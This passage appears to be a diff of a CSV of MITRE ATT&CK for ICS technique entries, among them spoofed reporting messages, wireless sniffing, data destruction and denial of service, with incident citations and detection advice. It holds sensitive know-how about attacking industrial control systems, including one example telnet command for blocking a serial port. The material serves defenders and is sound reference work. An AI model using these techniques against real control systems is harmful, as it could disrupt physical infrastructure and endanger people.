'https://www.sans.org/reading-room/whitepapers/ICS/man-in-the-middle-attack-modbus-tcp-illustrated-wireshark-38095'}]",,attack-pattern,attack-pattern--9a505987-ab05-4f46-a9a6-6441442eec3b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Man in the Middle,"Adversaries with privileged network access may seek to modify network traffic in real time using man-in-the-middle (MITM) attacks. (Citation: Reference - SANS - 201710) This type of attack allows the adversary to intercept traffic to and/or from a particular device on the network. If a MITM attack is established, then the adversary has the ability to block, log, modify, or inject traffic into the communication stream. There are several ways to accomplish this attack, but some of the most-common are Address Resolution Protocol (ARP) poisoning and the use of a proxy. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) + +A MITM attack may allow an adversary to perform the following attacks: + +Block Reporting Message, Spoof Reporting Message, Modify Parameter, Unauthorized Command Message",['collection-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0830,mitre-ics-attack,T0830,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Conrad Layne - GE Digital'],"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Process: OS API Execution', 'Process: Process Creation', 'Command: Command Execution']",,,,,"['Control Server', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0845', 'external_id': 'T0845'}]",,attack-pattern,attack-pattern--3067b85e-271e-4bc5-81ad-ab1a81d411e3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-13T15:07:32.143Z,Program Upload,"Adversaries may attempt to upload a program from a PLC to gather information about an industrial process. Uploading a program may allow them to acquire and study the underlying logic. Methods of program upload include vendor software, which enables the user to upload and read a program running on a PLC. This software can be used to upload the target program to a workstation, jump box, or an interfacing device.",['collection-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0845,mitre-ics-attack,T0845,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'discovery-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0846', 'external_id': 'T0846'}, {'source_name': 'EAttack Remote System Discovery', 'description': 'Enterprise ATT&CK. (2018, January 11). Remote System Discovery. Retrieved May 17, 2018.', 'url': 'https://attack.mitre.org/wiki/Technique/T1018'}]",,attack-pattern,attack-pattern--d5a69cfb-fc2a-46cb-99eb-74b236db5061,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Remote System Discovery,"Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for subsequent Lateral Movement or Discovery techniques. Functionality could exist within adversary tools to enable this, but utilities available on the operating system or vendor software could also be used.(Citation: EAttack Remote System Discovery)",['discovery-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0846,mitre-ics-attack,T0846,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Process: Process Creation']",,,,,"['Control Server', 'Data Historian', 'Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0852', 'external_id': 'T0852'}, {'source_name': 'Alert - Russian APT TA18-074A - 201803', 'description': 'ICS-CERT. (2017, October 21). Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved October 23, 2017.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA17-293A'}]",,attack-pattern,attack-pattern--c5e3cdbc-0387-4be9-8f83-ff5c0865f377,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Screen Capture,"Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information. (Citation: Alert - Russian APT TA18-074A - 201803) Analysis of screen captures may provide the adversary with an understanding of intended operations and interactions between critical devices.",['collection-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0852,mitre-ics-attack,T0852,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: OS API Execution']",,,,,['Human-Machine Interface'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'evasion-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0856', 'external_id': 'T0856'}, {'source_name': 'Research - Research - Taxonomy Cyber Attacks on SCADA', 'description': 'Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', 'url': 'http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'}, {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}]",,attack-pattern,attack-pattern--8535b71e-3c12-4258-a4ab-40257a1becc4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Spoof Reporting Message,"Adversaries may spoof reporting messages in control systems environments to achieve evasion and assist with impairment of process controls. Reporting messages are used in control systems so that operators and network defenders can understand the status of the network. Reporting messages show the status of devices and any important events that the devices control. -CLIs are typically accessed locally, but can also be exposed via services, such as SSH, Telnet, and RDP. Commands that are executed in the CLI execute with the current permissions level of the process running the terminal emulator, unless the command specifies a change in permissions context. +If an adversary has the ability to Spoof Reporting Messages, then they can impact the network in many ways. The adversary can Spoof Reporting Messages that state that the device is in normal working condition, as a form of evasion. The adversary could also Spoof Reporting Messages to make the defenders and operators think that other errors were occurring, to distract them from the actual source of the problem. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) -Many controllers have CLI interfaces for management purposes. +In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Maroochy - MITRE - 200808)","['evasion-ics', 'impair-process-control']",https://collaborate.mitre.org/attackics/index.php/Technique/T0856,mitre-ics-attack,T0856,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content']",,,,,['Control Server'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0855', 'external_id': 'T0855'}, {'source_name': 'StateScoop Dallas March 2019', 'description': 'Benjamin Freed. (2019, March 13). Tornado sirens in Dallas suburbs deactivated after being hacked and set off. Retrieved November 6, 2020.', 'url': 'https://statescoop.com/tornado-sirens-in-dallas-suburbs-deactivated-after-being-hacked-and-set-off/'}, {'source_name': 'Research - Research - Taxonomy Cyber Attacks on SCADA', 'description': 'Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', 'url': 'http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'}, {'source_name': 'Ukraine15 - EISAC - 201603', 'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}, {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}, {'source_name': 'ZDNet Dallas April 2017', 'description': ""Zack Whittaker. (2017, April 12). Dallas' emergency sirens were hacked with a rogue radio signal. Retrieved November 6, 2020."", 'url': 'https://www.zdnet.com/article/experts-think-they-know-how-dallas-emergency-sirens-were-hacked/'}]",,attack-pattern,attack-pattern--40b300ba-f553-48bf-862e-9471b220d455,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Unauthorized Command Message,"Adversaries may send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, or without the logical preconditions to trigger their expected function. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Maroochy - MITRE - 200808) In the Dallas Siren incident, adversaries were able to send command messages to activate tornado alarm systems across the city without an impending tornado or other disaster. (Citation:ZDNet Dallas April 2017) (Citation:StateScoop Dallas March 2019)",['impair-process-control'],https://collaborate.mitre.org/attackics/index.php/Technique/T0855,mitre-ics-attack,T0855,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Operational Databases: Process History/Live Data', 'Operational Databases: Process/Event Alarm']",,,,,['Field Controller/RTU/PLC/IED'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'discovery-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0887', 'external_id': 'T0887'}, {'source_name': 'NIST AMS 300-4 April 2018', 'description': 'Candell, R., Hany, M., Lee, K. B., Liu,Y., Quimby, J., Remley, K.. (2018, April). Guide to Industrial Wireless Systems Deployments. Retrieved December 1, 2020.', 'url': 'https://nvlpubs.nist.gov/nistpubs/ams/NIST.AMS.300-4.pdf'}, {'source_name': 'Bastille Dallas April 2017', 'description': 'Bastille. (2017, April 17). Dallas Siren Attack. Retrieved November 6, 2020.', 'url': 'https://www.bastille.net/blogs/2017/4/17/dallas-siren-attack'}, {'source_name': 'Ars Technica Dallas April 2017', 'description': 'Gallagher, S.. (2017, April 12). Pirate radio: Signal spoof set off Dallas emergency sirens, not network hack. Retrieved December 1, 2020.', 'url': 'https://arstechnica.com/information-technology/2017/04/dallas-siren-hack-used-radio-signals-to-spoof-alarm-says-city-manager/'}]",,attack-pattern,attack-pattern--0fe075d5-beac-4d02-b93e-0f874997db72,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-04-12T19:03:26.506Z,Wireless Sniffing,"Adversaries may seek to capture radio frequency (RF) communication used for remote control and reporting in distributed environments. RF communication frequencies vary between 3 kHz to 300 GHz, although are commonly between 300 MHz to 6 GHz. The wavelength and frequency of the signal affect how the signal propagates through open air, obstacles (e.g. walls and trees) and the type of radio required to capture them. These characteristics are often standardized in the protocol and hardware and may have an effect on how the signal is captured. Some examples of wireless protocols that may be found in cyber-physical environments are: WirelessHART, Zigbee, WIA-FA, and 700 MHz Public Safety Spectrum. Adversaries may capture RF communications by using specialized hardware, such as software defined radio (SDR), handheld radio, or a computer with radio demodulator tuned to the communication frequency. Information transmitted over a wireless medium may be captured in-transit whether the sniffing device is the intended destination or not. This technique may be particularly useful to an adversary when the communications are not encrypted. In the 2017 Dallas Siren incident, it is suspected that adversaries likely captured wireless command message broadcasts on a 700 MHz frequency during a regular test of the system. These messages were later replayed to trigger the alarm systems.","['discovery-ics', 'collection-ics']",https://collaborate.mitre.org/attackics/index.php/Technique/T0887,mitre-ics-attack,T0887,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['ICSCoE Japan'],,,,,,['None'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0800', 'external_id': 'T0800'}]",,attack-pattern,attack-pattern--19a71d1e-6334-4233-8260-b749cae37953,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:14:01.612Z,Activate Firmware Update Mode,"Adversaries may activate firmware update mode on devices to prevent expected response functions from engaging in reaction to an emergency or process malfunction. For example, devices such as protection relays may have an operation mode designed for firmware installation. This mode may halt process monitoring and related functions to allow new firmware to be loaded. A device left in update mode may be placed in an inactive holding state if no firmware is provided to it. By entering and leaving a device in this mode, the adversary may deny its usual functionalities.",['inhibit-response-function'],https://collaborate.mitre.org/attackics/index.php/Technique/T0800,mitre-ics-attack,T0800,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Joe Slowik - Dragos'],"['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Operational Databases: Device Alarm']",,,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0805', 'external_id': 'T0805'}]",,attack-pattern,attack-pattern--1c478716-71d9-46a4-9a53-fa5d576adb60,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Block Serial COM,"Adversaries may block access to serial COM to prevent instructions or configurations from reaching target devices. Serial Communication ports (COM) allow communication with control system devices. Devices can receive command and configuration messages over such serial COM. Devices also use serial COM to send command and reporting messages. Blocking device serial COM may also block command messages and block reporting messages. -Detection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.",attack-pattern--24a9253e-8948-4c98-b751-8e2aee53127c,attack-pattern,['execution-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Process monitoring', 'Process command-line parameters', 'Network protocol analysis', 'Packet capture']",,,,['Windows'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0809', 'source_name': 'mitre-ics-attack', 'external_id': 'T0809'}, {'description': 'Enterprise ATT&CK. (2018, January 11). File Deletion. Retrieved May 17, 2018.', 'source_name': 'EAttack File Deletion', 'url': 'https://attack.mitre.org/wiki/Technique/T1107'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0809,mitre-ics-attack,T0809,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Data Destruction,"Adversaries may perform data destruction over the course of an operation. The adversary may drop or create malware, tools, or other non-native files on a target system to accomplish this, potentially leaving behind traces of malicious activities. Such non-native files and other data may be removed over the course of an intrusion to maintain a small footprint or as a standard part of the post-intrusion cleanup process. (Citation: EAttack File Deletion) +A serial to Ethernet converter is often connected to a serial COM to facilitate communication between serial and Ethernet devices. One approach to blocking a serial COM would be to create and hold open a TCP session with the Ethernet side of the converter. A serial to Ethernet converter may have a few ports open to facilitate multiple communications. For example, if there are three serial COM available -- 1, 2 and 3 --, the converter might be listening on the corresponding ports 20001, 20002, and 20003. If a TCP/IP connection is opened with one of these ports and held open, then the port will be unavailable for use by another party. One way the adversary could achieve this would be to initiate a TCP session with the serial to Ethernet converter at 10.0.0.1 via Telnet on serial port 1 with the following command: telnet 10.0.0.1 20001.",['inhibit-response-function'],https://collaborate.mitre.org/attackics/index.php/Technique/T0805,mitre-ics-attack,T0805,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Application Log: Application Log Content', 'Process: Process Termination', 'Operational Databases: Process History/Live Data', 'Operational Databases: Process/Event Alarm']",,,,,"['Field Controller/RTU/PLC/IED', 'Input/Output Server', 'Device Configuration/Parameters']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0809', 'external_id': 'T0809'}, {'source_name': 'EAttack File Deletion', 'description': 'Enterprise ATT&CK. (2018, January 11). File Deletion. Retrieved May 17, 2018.', 'url': 'https://attack.mitre.org/wiki/Technique/T1107'}]",,attack-pattern,attack-pattern--493832d9-cea6-4b63-abe7-9a65a6473675,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Data Destruction,"Adversaries may perform data destruction over the course of an operation. The adversary may drop or create malware, tools, or other non-native files on a target system to accomplish this, potentially leaving behind traces of malicious activities. Such non-native files and other data may be removed over the course of an intrusion to maintain a small footprint or as a standard part of the post-intrusion cleanup process. (Citation: EAttack File Deletion) Data destruction may also be used to render operator interfaces unable to respond and to disrupt response functions from occurring as expected. An adversary may also destroy data backups that are vital to recovery after an incident. Standard file deletion commands are available on most operating system and device interfaces to perform cleanup, but adversaries may use other tools as well. Two examples are Windows Sysinternals SDelete and Active@ Killdisk. -Detection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.",attack-pattern--493832d9-cea6-4b63-abe7-9a65a6473675,attack-pattern,['inhibit-response-function'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['File monitoring', 'Process command-line parameters', 'Process monitoring']",['Matan Dobrushin - Otorio'],,,"['Control Server', 'Human-Machine Interface', 'Field Controller/RTU/PLC/IED']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0814', 'source_name': 'mitre-ics-attack', 'external_id': 'T0814'}, {'description': 'ICS-CERT. (2017, April 18). CS Alert (ICS-ALERT-17-102-01A) BrickerBot Permanent Denial-of-Service Attack. Retrieved October 24, 2019.', 'source_name': 'BrickerBot - ICS-CERT - Alert', 'url': 'https://www.us-cert.gov/ics/alerts/ICS-ALERT-17-102-01A'}, {'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'source_name': 'Maroochy - MITRE - 200808', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}, {'description': 'ICS-CERT. (2018, August 27). Advisory (ICSA-15-202-01) - Siemens SIPROTEC Denial-of-Service Vulnerability. Retrieved March 14, 2019.', 'source_name': 'Industroyer - ICS-CERT ADV', 'url': 'https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01'}, {'description': 'Common Weakness Enumeration. (2019, January 03). CWE-400: Uncontrolled Resource Consumption. Retrieved March 14, 2019.', 'source_name': 'Industroyer - CWE-400', 'url': 'http://cwe.mitre.org/data/definitions/400.html'}, {'description': 'MITRE. (2018, March 22). CVE-2015-5374. Retrieved March 14, 2019.', 'source_name': 'Industroyer - CVE-2015-5374', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2015-5374'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0814,mitre-ics-attack,T0814,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Denial of Service,"Adversaries may perform Denial-of-Service (DoS) attacks to disrupt expected device functionality. Examples of DoS attacks include overwhelming the target device with a high volume of requests in a short time period and sending the target device a request it does not know how to handle. Disrupting device state may temporarily render it unresponsive, possibly lasting until a reboot can occur. When placed in this state, devices may be unable to send and receive requests, and may not perform expected response functions in reaction to other events in the environment. +Detection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.",['inhibit-response-function'],https://collaborate.mitre.org/attackics/index.php/Technique/T0809,mitre-ics-attack,T0809,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Matan Dobrushin - Otorio'],"['Command: Command Execution', 'File: File Deletion', 'File: File Modification', 'Process: Process Creation']",,,,,"['Control Server', 'Human-Machine Interface', 'Field Controller/RTU/PLC/IED']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0814', 'external_id': 'T0814'}, {'source_name': 'BrickerBot - ICS-CERT - Alert', 'description': 'ICS-CERT. (2017, April 18). CS Alert (ICS-ALERT-17-102-01A) BrickerBot Permanent Denial-of-Service Attack. Retrieved October 24, 2019.', 'url': 'https://www.us-cert.gov/ics/alerts/ICS-ALERT-17-102-01A'}, {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}, {'source_name': 'Industroyer - ICS-CERT ADV', 'description': 'ICS-CERT. (2018, August 27). Advisory (ICSA-15-202-01) - Siemens SIPROTEC Denial-of-Service Vulnerability. Retrieved March 14, 2019.', 'url': 'https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01'}, {'source_name': 'Industroyer - CWE-400', 'description': 'Common Weakness Enumeration. (2019, January 03). CWE-400: Uncontrolled Resource Consumption. Retrieved March 14, 2019.', 'url': 'http://cwe.mitre.org/data/definitions/400.html'}, {'source_name': 'Industroyer - CVE-2015-5374', 'description': 'MITRE. (2018, March 22). CVE-2015-5374. Retrieved March 14, 2019.', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2015-5374'}]",,attack-pattern,attack-pattern--1b22b676-9347-4c55-9a35-ef0dc653db5b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Denial of Service,"Adversaries may perform Denial-of-Service (DoS) attacks to disrupt expected device functionality. Examples of DoS attacks include overwhelming the target device with a high volume of requests in a short time period and sending the target device a request it does not know how to handle. Disrupting device state may temporarily render it unresponsive, possibly lasting until a reboot can occur. When placed in this state, devices may be unable to send and receive requests, and may not perform expected response functions in reaction to other events in the environment. Some ICS devices are particularly sensitive to DoS events, and may become unresponsive in reaction to even a simple ping sweep. Adversaries may also attempt to execute a Permanent Denial-of-Service (PDoS) against certain devices, such as in the case of the BrickerBot malware. (Citation: BrickerBot - ICS-CERT - Alert) @@ -4490,164 +4120,126 @@ Adversaries may exploit a software vulnerability to cause a denial of service by Adversaries may have prior knowledge about industrial protocols or control devices used in the environment through Control Device Identification. There are examples of adversaries remotely causing a Device Restart/Shutdown by exploiting a vulnerability that induces uncontrolled resource consumption. (Citation: Industroyer - ICS-CERT ADV) (Citation: Industroyer - CWE-400) (Citation: Industroyer - CVE-2015-5374) -In the Maroochy attack, the adversary was able to shut an investigator out of the network. (Citation: Maroochy - MITRE - 200808)",attack-pattern--1b22b676-9347-4c55-9a35-ef0dc653db5b,attack-pattern,['inhibit-response-function'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Alarm history', 'Data historian', 'Network protocol analysis', 'Packet capture', 'Sequential event recorder']",,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0817', 'source_name': 'mitre-ics-attack', 'external_id': 'T0817'}, {'description': 'NCAS. (2018, March 15). Alert (TA18-074A) Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved October 11, 2019.', 'source_name': 'Alert - CISA TA18-074A', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-074A'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0817,mitre-ics-attack,T0817,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Drive-by Compromise,"Adversaries may gain access to a system during a drive-by compromise, when a user visits a website as part of a regular browsing session.With this technique, the user's web browser is targeted and exploited simply by visiting the compromised website. +In the Maroochy attack, the adversary was able to shut an investigator out of the network. (Citation: Maroochy - MITRE - 200808)",['inhibit-response-function'],https://collaborate.mitre.org/attackics/index.php/Technique/T0814,mitre-ics-attack,T0814,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Operational Databases: Process History/Live Data']",,,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0817', 'external_id': 'T0817'}, {'source_name': 'Alert - CISA TA18-074A', 'description': 'NCAS. (2018, March 15). Alert (TA18-074A) Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved October 11, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-074A'}]",,attack-pattern,attack-pattern--7830cfcf-b268-4ac0-a69e-73c6affbae9a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Drive-by Compromise,"Adversaries may gain access to a system during a drive-by compromise, when a user visits a website as part of a regular browsing session.With this technique, the user's web browser is targeted and exploited simply by visiting the compromised website. The adversary may target a specific community, such as trusted third party suppliers or other industry specific groups, which often visit the target website. This kind of targeted attack relies on a common interest, and is known as a strategic web compromise or watering hole attack. The National Cyber Awareness System (NCAS) has issued a Technical Alert (TA) regarding Russian government cyber activity targeting critical infrastructure sectors. - (Citation: Alert - CISA TA18-074A) Analysis by DHS and FBI has noted two distinct categories of victims in the Dragonfly campaign on the Western energy sector: staging and intended targets. The adversary targeted the less secure networks of staging targets, including trusted third-party suppliers and related peripheral organizations. Initial access to the intended targets used watering hole attacks to target process control, ICS, and critical infrastructure related trade publications and informational websites.",attack-pattern--7830cfcf-b268-4ac0-a69e-73c6affbae9a,attack-pattern,['initial-access-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Packet capture', 'Network device logs', 'process use of network', 'Web proxy', 'SSl/TLS inspection', 'Network intrusion detection system']",,,,['Windows'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0877', 'source_name': 'mitre-ics-attack', 'external_id': 'T0877'}, {'description': 'Spenneberg, Ralf. (2016). PLC-Blaster. Retrieved June 6, 2019.', 'source_name': 'PLC-Blaster 2', 'url': 'https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0877,mitre-ics-attack,T0877,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,I/O Image,Adversaries may seek to capture process image values related to the inputs and outputs of a PLC. Within a PLC all input and output states are stored into an I/O image. This image is used by the user program instead of directly interacting with physical I/O. (Citation: PLC-Blaster 2),attack-pattern--53a48c74-0025-45f4-b04a-baa853df8204,attack-pattern,['collection-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,['Controller program'],,,,['Field Controller/RTU/PLC/IED'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0826', 'source_name': 'mitre-ics-attack', 'external_id': 'T0826'}, {'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'source_name': 'Reference - Corero', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'}, {'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The 